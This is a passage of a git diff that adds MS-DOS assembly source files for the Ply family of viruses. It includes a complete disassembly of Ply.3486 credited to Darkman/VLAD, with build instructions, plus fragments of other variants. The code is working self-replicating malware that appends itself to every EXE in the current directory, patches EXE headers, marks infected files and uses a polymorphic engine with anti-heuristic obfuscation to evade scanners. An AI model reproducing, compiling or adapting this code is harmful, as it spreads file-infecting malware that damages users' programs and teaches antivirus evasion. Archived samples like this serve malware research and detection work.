||||
mov ax,bx ; AX = " " " " " "
|
||||
nop
|
||||
add ax,10h ; AX = segment of beginning of code
|
||||
|
||||
lea si,instruct_ptr ; SI = offset of instruct_ptr
|
||||
add si,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
add [si+02h],ax ; Add segment of beginning of code...
|
||||
add ax,[si+04h] ; Add original stack segment to se...
|
||||
|
||||
cli ; Clear interrupt-enable flag
|
||||
nop
|
||||
nop
|
||||
poly_end:
|
||||
mov sp,[si+06h] ; SP = stack pointer
|
||||
mov ss,ax ; SS = stack segment
|
||||
sti ; Set interrupt-enable flag
|
||||
|
||||
mov ds,bx ; DS = segment of PSP for current ...
|
||||
|
||||
db 0eah ; JMP imm32 (opcode 0eah)
|
||||
instruct_ptr dw ? ; Instruction pointer
|
||||
code_seg dw ? ; Code segment
|
||||
|
||||
stack_seg dw ? ; Stack segment
|
||||
stack_ptr dw ? ; Stack pointer
|
||||
|
||||
db 00h
|
||||
file_specifi db '????????.EXE',00h ; File specification
|
||||
db 00h,00h
|
||||
file_header dw 0ah dup(?),00h,0fff0h,?
|
||||
db 00h
|
||||
poly_buffer db 03h dup(?) ; Polymorphic buffer
|
||||
poly_blocks db (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?))
|
||||
code_end:
|
||||
dta:
|
||||
db 15h dup(?) ; Used by DOS for find next-process
|
||||
file_attr db ? ; File attribute
|
||||
file_time dw ? ; File time
|
||||
file_date dw ? ; File date
|
||||
filesize dd ? ; Filesize
|
||||
filename db 0dh dup(?) ; Filename
|
||||
data_end:
|
||||
|
||||
end code_begin
|
850
MSDOS/Virus.MSDOS.Unknown.ply_3486.asm
Normal file
850
MSDOS/Virus.MSDOS.Unknown.ply_3486.asm
Normal file
@ -0,0 +1,850 @@
|
||||
comment *
|
||||
Ply.3486
|
||||
Disassembly by
|
||||
Darkman/VLAD
|
||||
|
||||
Ply.3486 is a 3486 bytes parasitic direct action EXE virus. Infects every
|
||||
file in current directory, when executed, by appending the virus to the
|
||||
infected file. Ply.3486 has anti-heuristic techniques and is polymorphic in
|
||||
file using its internal polymorphic engine.
|
||||
|
||||
To compile Ply.3486 with Turbo Assembler v 4.0 type:
|
||||
TASM /m PLY_3486.ASM
|
||||
TLINK /t /x PLY_3486.OBJ
|
||||
*
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 100h ; Origin of Ply.3486
|
||||
|
||||
code_begin:
|
||||
delta_offset equ $+01h ; Delta offset
|
||||
mov bp,100h ; BP = delta offset
|
||||
poly_begin:
|
||||
mov ax,cs ; AX = code segment
|
||||
nop
|
||||
mov ds,ax ; DS = " "
|
||||
nop
|
||||
mov es,ax ; ES = " "
|
||||
nop
|
||||
|
||||
mov ax,100h ; AX = offset of beginning of code
|
||||
sub bp,ax ; Subtract offset of beginning of ...
|
||||
nop
|
||||
|
||||
sti ; Set interrupt-enable flag
|
||||
nop
|
||||
nop
|
||||
cld ; Clear direction flag
|
||||
nop
|
||||
nop
|
||||
|
||||
lea si,poly_begin ; SI = offset of poly_begin
|
||||
add si,bp ; Add delta offset
|
||||
nop
|
||||
mov cx,(poly_end-poly_begin)/03h
|
||||
poly_loop:
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
and al,00000111b ; AL = random number between zero ...
|
||||
nop
|
||||
|
||||
push cx ; Save CX at stack
|
||||
nop
|
||||
nop
|
||||
push si ; Save SI at stack
|
||||
nop
|
||||
nop
|
||||
|
||||
cmp al,00h ; Prepend a NOP to the opcode?
|
||||
nop
|
||||
jne test_append ; Not equal? Jump to test_append
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
je dont_poly ; Equal? Jump to dont_poly
|
||||
nop
|
||||
|
||||
mov al,[si+02h] ; AL = third byte of three-byte block
|
||||
cmp al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
jne dont_poly ; Not equal? Jump to dont_poly
|
||||
nop
|
||||
|
||||
mov ax,[si] ; AX = first word of three-bytes b...
|
||||
nop
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx+01h],ax ; Store first word of three-bytes ...
|
||||
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je dec_imm8 ; Equal? Jump to dec_imm8
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
jne prepend_nop ; Not equal? Jump to prepend_nop
|
||||
nop
|
||||
dec_imm8:
|
||||
dec byte ptr [bx+02h] ; Decrease 8-bit immediate
|
||||
prepend_nop:
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov [bx],al ; Prepend a NOP to the opcode
|
||||
nop
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
dont_poly:
|
||||
jmp test_loop
|
||||
test_append:
|
||||
cmp al,01h ; Append a NOP to the opcode?
|
||||
nop
|
||||
jne test_create ; Not equal? Jump to test_create
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
jne dont_poly_ ; Not equal? Jump to dont_poly_
|
||||
nop
|
||||
|
||||
mov ax,[si+01h] ; AX = second word of three-bytes ...
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],ax ; Store second word of three-bytes...
|
||||
nop
|
||||
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je dec_imm8_ ; Equal? Jump to dec_imm8_
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
jne append_nop ; Not equal? Jump to append_nop
|
||||
nop
|
||||
dec_imm8_:
|
||||
inc byte ptr [bx+01h] ; Decrease 8-bit immediate
|
||||
append_nop:
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov [bx+02h],al ; Append a NOP to the opcode
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
dont_poly_:
|
||||
jmp test_loop
|
||||
test_create:
|
||||
cmp al,02h ; Create a CALL imm16 to the opcode?
|
||||
nop
|
||||
jne delete_call ; Not equal? Jump to delete_call
|
||||
nop
|
||||
|
||||
mov ax,[si] ; AX = first word of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
jne create_call ; Not equal? Jump to create_call
|
||||
nop
|
||||
|
||||
mov al,ah ; AL = second byte of three-bytes ...
|
||||
nop
|
||||
create_call:
|
||||
cmp al,0e9h ; JMP imm16 (opcode 0e9h)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,0c3h ; RET (opcode 0c3h)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,50h ; PUSH reg16/POP reg16?
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
|
||||
call get_poly_off
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,0c3h ; RET (opcode 0c3h)
|
||||
nop
|
||||
stosb ; Store RET
|
||||
nop
|
||||
nop
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
stosb ; Store 8-bit random number
|
||||
nop
|
||||
nop
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
stosb ; Store 8-bit random number
|
||||
nop
|
||||
nop
|
||||
|
||||
mov al,0e8h ; CALL imm16 (opcode 0e8h)
|
||||
nop
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],al ; Create a CALL imm16 to the opcode
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = random offset of polymorphi...
|
||||
nop
|
||||
sub ax,si ; Subtract offset of current three...
|
||||
nop
|
||||
sub ax,06h ; Subtract size of six-bytes block
|
||||
mov [bx+01h],ax ; Store 16-bit immediate
|
||||
|
||||
mov di,si ; SI = offset of current three-byt...
|
||||
nop
|
||||
mov ax,03h ; AX = size of opcode CALL imm16
|
||||
sub di,ax ; Subtract size of opcode CALL imm...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
call_exit:
|
||||
jmp test_loop
|
||||
delete_call:
|
||||
cmp al,03h ; Delete previously created CALL i...
|
||||
nop
|
||||
jne test_create_ ; Not equal? Jump to test_create_
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,0e8h ; CALL imm16 (opcode 0e8h)?
|
||||
nop
|
||||
jne call_exit_ ; Not equal? Jump to call_exit_
|
||||
nop
|
||||
|
||||
mov ax,[si+01h] ; AX = 16-bit immediate
|
||||
add ax,03h ; Add size of opcode CALL imm16
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
add si,ax ; Add 16-bit immediate
|
||||
nop
|
||||
lea bx,poly_blocks ; BX = offset of poly_blocks
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
cmp si,bx ; 16-bit immediate within polymorp...
|
||||
nop
|
||||
jb call_exit_ ; Below? Jump to call_exit_
|
||||
nop
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov ah,al ; NOP; NOP (opcode 90h,90h)
|
||||
nop
|
||||
mov [si-03h],ax ; Store NOP; NOP
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si-01h],al ; Store 8-bit random number
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si],al ; Store 8-bit random number
|
||||
nop
|
||||
call_exit_:
|
||||
jmp test_loop
|
||||
test_create_:
|
||||
cmp al,04h ; Create a JMP imm16 to the opcode?
|
||||
nop
|
||||
jne delete_jmp ; Not equal? Jump to delete_jmp
|
||||
nop
|
||||
|
||||
mov ax,[si] ; AX = first word of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
jne create_jmp ; Not equal? Jump to create_jmp
|
||||
nop
|
||||
|
||||
mov al,ah ; AL = second byte of three-bytes ...
|
||||
nop
|
||||
create_jmp:
|
||||
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
|
||||
call get_poly_off
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,0e9h ; JMP imm16 (opcode 0e9h)
|
||||
nop
|
||||
stosb ; Store JMP imm16
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = random offset of polymorphi...
|
||||
nop
|
||||
sub ax,si ; Subtract offset of current three...
|
||||
nop
|
||||
neg ax ; Negate AX
|
||||
nop
|
||||
sub ax,02h ; Subtract two from 16-bit immediate
|
||||
stosw ; Store 16-bit immediate
|
||||
nop
|
||||
nop
|
||||
|
||||
mov al,0e9h ; JMP imm16 (opcode 0e9h)
|
||||
nop
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],al ; Create a JMP imm16 to the opcode
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = random offset of polymorphi...
|
||||
nop
|
||||
sub ax,si ; Subtract offset of current three...
|
||||
nop
|
||||
sub ax,06h ; Subtract size of six-bytes block
|
||||
mov [bx+01h],ax ; Store 16-bit immediate
|
||||
|
||||
mov di,si ; SI = offset of current three-byt...
|
||||
nop
|
||||
mov ax,03h ; AX = size of opcode CALL imm16
|
||||
sub di,ax ; Subtract size of opcode CALL imm...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
jmp_exit:
|
||||
jmp test_loop
|
||||
nop
|
||||
delete_jmp:
|
||||
cmp al,05h ; Delete previously created JMP im...
|
||||
nop
|
||||
jne test_loop ; Not equal? Jump to test_loop
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
|
||||
nop
|
||||
jne jmp_exit_ ; Not equal? Jump to jmp_exit_
|
||||
nop
|
||||
|
||||
mov ax,[si+01h] ; AX = 16-bit immediate
|
||||
add ax,03h ; Add size of opcode CALL imm16
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
add si,ax ; Add 16-bit immediate
|
||||
nop
|
||||
lea bx,poly_blocks ; BX = offset of poly_blocks
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
cmp si,bx ; 16-bit immediate within polymorp...
|
||||
nop
|
||||
jb jmp_exit_ ; Below? Jump to jmp_exit_
|
||||
nop
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov ah,al ; NOP; NOP (opcode 90h,90h)
|
||||
nop
|
||||
mov [si-03h],ax ; Store NOP; NOP
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si-01h],al ; Store 8-bit random number
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si],al ; Store 8-bit random number
|
||||
nop
|
||||
jmp_exit_:
|
||||
jmp test_loop
|
||||
nop
|
||||
test_loop:
|
||||
pop si ; Load SI from stack
|
||||
nop
|
||||
nop
|
||||
pop cx ; Load CX from stack
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,03h ; AX = size of block
|
||||
add si,ax ; SI = offset of next three-byte b...
|
||||
nop
|
||||
|
||||
dec cx ; Decrease CX
|
||||
nop
|
||||
nop
|
||||
jz poly_exit ; Zero? Jump to poly_exit
|
||||
nop
|
||||
|
||||
jmp poly_loop
|
||||
poly_exit:
|
||||
jmp prepare_exit
|
||||
nop
|
||||
|
||||
get_poly_off proc near ; Get random offset of polymorphic...
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov ah,al ; AH = " " "
|
||||
nop
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov di,ax ; DI = 16-bit random number
|
||||
nop
|
||||
mov ax,(poly_end-poly_begin)/03h
|
||||
get_rnd_num:
|
||||
sub di,ax ; Subtract number of polymorphic b...
|
||||
nop
|
||||
cmp di,ax ; Too large a 16-bit random number?
|
||||
nop
|
||||
jae get_rnd_num ; Above or equal? Jump to get_rnd_num
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = 16-bit random number within...
|
||||
nop
|
||||
|
||||
add di,ax ; Add number of polymorphic blocks
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
|
||||
lea ax,poly_blocks ; AX = offset of poly_blocks
|
||||
add di,ax ; Add offset of poly_blocks to ran...
|
||||
nop
|
||||
add di,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov ah,al ; NOP; NOP (opcode 90h,90h)
|
||||
nop
|
||||
cmp [di],ax ; Offset already in use?
|
||||
nop
|
||||
jne get_poly_off ; Not equal? Jump to get_poly_off
|
||||
nop
|
||||
|
||||
ret ; Return!
|
||||
nop
|
||||
nop
|
||||
endp
|
||||
prepare_exit:
|
||||
lea si,file_header ; SI = offset of file_header
|
||||
add si,bp ; Add delta offset
|
||||
nop
|
||||
lea di,instruct_ptr ; SI = offset of instruct_ptr
|
||||
add di,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
mov ax,[si+14h] ; AX = instruction pointer
|
||||
stosw ; Store instruction pointer
|
||||
nop
|
||||
nop
|
||||
mov ax,[si+16h] ; AX = code segment
|
||||
stosw ; Store code segment
|
||||
nop
|
||||
nop
|
||||
mov ax,[si+0eh] ; AX = stack segment
|
||||
stosw ; Store stack segment
|
||||
nop
|
||||
nop
|
||||
mov ax,[si+10h] ; AX = stack pointer
|
||||
stosw ; Store stack pointer
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ah,1ah ; Set disk transfer area address
|
||||
nop
|
||||
lea dx,dta ; DX = offset of dta
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
mov di,dx ; DI = offset of dta
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4e00h+2020h) ; Find first matching file
|
||||
sub ax,2020h
|
||||
mov cx,0000000000000111b
|
||||
lea dx,file_specifi ; DX = offset of file_specifi
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
mov bx,dx ; BX = offset of file_specifi
|
||||
nop
|
||||
mov al,'E'
|
||||
nop
|
||||
mov [bx+02h],al ; Correct the file specification
|
||||
find_next:
|
||||
int 21h
|
||||
nop
|
||||
jnc open_file ; No error? Jump to open_file
|
||||
nop
|
||||
|
||||
jmp virus_exit
|
||||
open_file:
|
||||
mov al,'V'
|
||||
nop
|
||||
mov [bx+02h],al ; Correct the file specification
|
||||
|
||||
mov ax,3d00h ; Open file (read)
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
xchg bx,ax ; BX = file handle
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ah,3fh ; Read from file
|
||||
nop
|
||||
mov dx,si ; DX = offset of file_header
|
||||
nop
|
||||
mov cx,1ah ; Read twenty-six bytes
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,('ZM'+2020h) ; EXE signature
|
||||
sub ax,2020h
|
||||
cmp [si],ax ; Found EXE signature?
|
||||
nop
|
||||
je examine_file ; Equal? Jump to examine_file
|
||||
nop
|
||||
|
||||
xchg ah,al ; Exchange EXE signature
|
||||
nop
|
||||
cmp [si],ax ; Found EXE signature?
|
||||
nop
|
||||
je examine_file ; Equal? Jump to examine_file
|
||||
nop
|
||||
jmp_find_nxt:
|
||||
mov ax,(4f00h+2020h) ; Find next matching file
|
||||
sub ax,2020h
|
||||
|
||||
jmp find_next
|
||||
nop
|
||||
examine_file:
|
||||
mov ax,2020h
|
||||
cmp [si+12h],ax ; Already infected?
|
||||
je jmp_find_nxt ; Equal? Jump to jmp_find_nxt
|
||||
nop
|
||||
|
||||
mov ax,(4301h+2020h) ; Set file attributes
|
||||
sub ax,2020h
|
||||
xor cx,cx ; CX = new file attributes
|
||||
nop
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(3d02h+2020h) ; Open file (read/write)
|
||||
sub ax,2020h
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
xchg bx,ax ; BX = file handle
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,4202h ; Set current file position (EOF)
|
||||
xor cx,cx ; Zero CX
|
||||
nop
|
||||
xor dx,dx ; Zero DX
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4000h+2020h) ; Write to file
|
||||
sub ax,2020h
|
||||
mov cx,(code_end-code_begin)
|
||||
lea dx,code_begin ; DX = offset of code_begin
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,[si+08h] ; AX = header size in paragraphs
|
||||
mov cl,04h ; Multiply by paragraphs
|
||||
nop
|
||||
shl ax,cl ; AX = header size
|
||||
nop
|
||||
push bx ; Save BX at stack
|
||||
nop
|
||||
nop
|
||||
xchg ax,bx ; BX = header size
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,[di+1ah] ; AX = low-order word of filesize
|
||||
mov dx,[di+1ch] ; DX = high-order word of filesize
|
||||
push ax ; Save AX at stack
|
||||
nop
|
||||
nop
|
||||
push dx ; Save DX at stack
|
||||
nop
|
||||
nop
|
||||
|
||||
sub ax,bx ; Subtract header size from filesize
|
||||
nop
|
||||
sbb dx,00h ; Convert to 32-bit
|
||||
mov cx,10h
|
||||
div cx ; Divide by paragraphs
|
||||
nop
|
||||
mov [si+14h],dx ; Store instruction pointer
|
||||
mov [si+16h],ax ; Store code segment
|
||||
|
||||
lea bx,delta_offset ; BX = offset of delta_offset
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],dx ; Store delta offset
|
||||
nop
|
||||
|
||||
inc ax ; Increase AX
|
||||
nop
|
||||
nop
|
||||
mov [si+0eh],ax ; Store stack segment
|
||||
|
||||
mov ax,(code_end-code_begin+100h)
|
||||
add dx,ax ; DX = stack pointer
|
||||
nop
|
||||
mov [si+10h],dx ; Store stack pointer
|
||||
|
||||
mov ax,2020h ; AX = infection mark
|
||||
mov [si+12h],ax ; Store infection mark
|
||||
|
||||
pop dx ; Load DX from stack
|
||||
nop
|
||||
nop
|
||||
pop ax ; Load AX from stack
|
||||
nop
|
||||
nop
|
||||
add ax,(code_end-code_begin)
|
||||
adc dx,00h ; Convert to 32-bit
|
||||
|
||||
mov cl,09h
|
||||
nop
|
||||
push ax ; Save AX at stack
|
||||
nop
|
||||
nop
|
||||
shr ax,cl ; Multiply by pages
|
||||
nop
|
||||
ror dx,cl ; " " "
|
||||
nop
|
||||
stc ; Set carry flag
|
||||
nop
|
||||
nop
|
||||
adc dx,ax ; DX = total number of 512-bytes p...
|
||||
nop
|
||||
pop ax ; Load AX from stack
|
||||
nop
|
||||
nop
|
||||
and ah,00000001b
|
||||
mov [si+04h],dx ; Store totalt number of 512-bytes...
|
||||
mov [si+02h],ax ; Number of bytes in last 512-byte...
|
||||
pop bx ; Load BX from stack
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,4201h ; Set current file position (CFP)
|
||||
mov cx,-01h
|
||||
mov dx,-(code_end-delta_offset)
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4000h+2020h) ; Write to file
|
||||
sub ax,2020h
|
||||
mov cx,02h ; Write two bytes
|
||||
lea dx,delta_offset ; DX = offset of delta_offset
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,4200h ; Set current file position (SOF)
|
||||
xor cx,cx ; Zero CX
|
||||
nop
|
||||
xor dx,dx ; Zero DX
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4000h+2020h) ; Write to file
|
||||
sub ax,2020h
|
||||
mov cx,1ah ; Write twenty-six bytes
|
||||
mov dx,si ; DX = offset of file_header
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(5701h-2020h) ; Set file's date and time
|
||||
add ax,2020h
|
||||
mov cx,[di+16h] ; CX = file time
|
||||
mov dx,[di+18h] ; DX = file date
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4301h+2020h) ; Set file attributes
|
||||
sub ax,2020h
|
||||
mov ch,00h ; Zero CH
|
||||
nop
|
||||
mov cl,[di+15h] ; CL = file attribute
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,4fh ; Find next matching file
|
||||
nop
|
||||
|
||||
jmp find_next
|
||||
virus_exit:
|
||||
mov ah,62h ; Get current PSP address
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
mov es,bx ; ES = segment of PSP for current ...
|
||||
nop
|
||||
|
||||
mov ax,bx ; AX = " " " " " "
|
||||
nop
|
||||
add ax,10h ; AX = segment of beginning of code
|
||||
|
||||
lea si,instruct_ptr ; SI = offset of instruct_ptr
|
||||
add si,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
add [si+02h],ax ; Add segment of beginning of code...
|
||||
add ax,[si+04h] ; Add original stack segment to se...
|
||||
|
||||
cli ; Clear interrupt-enable flag
|
||||
nop
|
||||
nop
|
||||
poly_end:
|
||||
mov sp,[si+06h] ; SP = stack pointer
|
||||
mov ss,ax ; SS = stack segment
|
||||
sti ; Set interrupt-enable flag
|
||||
|
||||
mov ds,bx ; DS = segment of PSP for current ...
|
||||
|
||||
db 0eah ; JMP imm32 (opcode 0eah)
|
||||
instruct_ptr dw ? ; Instruction pointer
|
||||
code_seg dw ? ; Code segment
|
||||
|
||||
stack_seg dw ? ; Stack segment
|
||||
stack_ptr dw ? ; Stack pointer
|
||||
|
||||
db 00h
|
||||
file_specifi db '*.VXE',00h ; File specification
|
||||
file_header dw 0ah dup(?),00h,0fff0h,?
|
||||
db 00h
|
||||
poly_buffer db 03h dup(?) ; Polymorphic buffer
|
||||
poly_blocks db (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?))
|
||||
code_end:
|
||||
dta:
|
||||
db 15h dup(?) ; Used by DOS for find next-process
|
||||
file_attr db ? ; File attribute
|
||||
file_time dw ? ; File time
|
||||
file_date dw ? ; File date
|
||||
filesize dd ? ; Filesize
|
||||
filename db 0dh dup(?) ; Filename
|
||||
data_end:
|
||||
|
||||
end code_begin
|
924
MSDOS/Virus.MSDOS.Unknown.ply_3759.asm
Normal file
924
MSDOS/Virus.MSDOS.Unknown.ply_3759.asm
Normal file
@ -0,0 +1,924 @@
|
||||
comment *
|
||||
Ply.3759
|
||||
Disassembly by
|
||||
Darkman/VLAD
|
||||
|
||||
Ply.3759 is a 3759 bytes parasitic direct action EXE virus. Infects every
|
||||
file in current directory, when executed, by appending the virus to the
|
||||
infected file. Ply.3759 has an error handler, anti-heuristic techniques and
|
||||
is polymorphic in file using its internal polymorphic engine.
|
||||
|
||||
To compile Ply.3759 with Turbo Assembler v 4.0 type:
|
||||
TASM /m PLY_3759.ASM
|
||||
TLINK /t /x PLY_3759.OBJ
|
||||
*
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 100h ; Origin of Ply.3759
|
||||
|
||||
code_begin:
|
||||
delta_offset equ $+01h ; Delta offset
|
||||
mov bp,100h ; BP = delta offset
|
||||
poly_begin:
|
||||
mov ax,cs ; AX = code segment
|
||||
nop
|
||||
mov ds,ax ; DS = " "
|
||||
nop
|
||||
mov es,ax ; ES = " "
|
||||
nop
|
||||
|
||||
mov ax,100h ; AX = offset of beginning of code
|
||||
sub bp,ax ; Subtract offset of beginning of ...
|
||||
nop
|
||||
|
||||
sti ; Set interrupt-enable flag
|
||||
nop
|
||||
nop
|
||||
cld ; Clear direction flag
|
||||
nop
|
||||
nop
|
||||
|
||||
lea si,poly_begin ; SI = offset of poly_begin
|
||||
add si,bp ; Add delta offset
|
||||
nop
|
||||
mov cx,(poly_end-poly_begin)/03h
|
||||
poly_loop:
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
and al,00000111b ; AL = random number between zero ...
|
||||
nop
|
||||
|
||||
push cx ; Save CX at stack
|
||||
nop
|
||||
nop
|
||||
push si ; Save SI at stack
|
||||
nop
|
||||
nop
|
||||
|
||||
cmp al,00h ; Prepend a NOP to the opcode?
|
||||
nop
|
||||
jne test_append ; Not equal? Jump to test_append
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
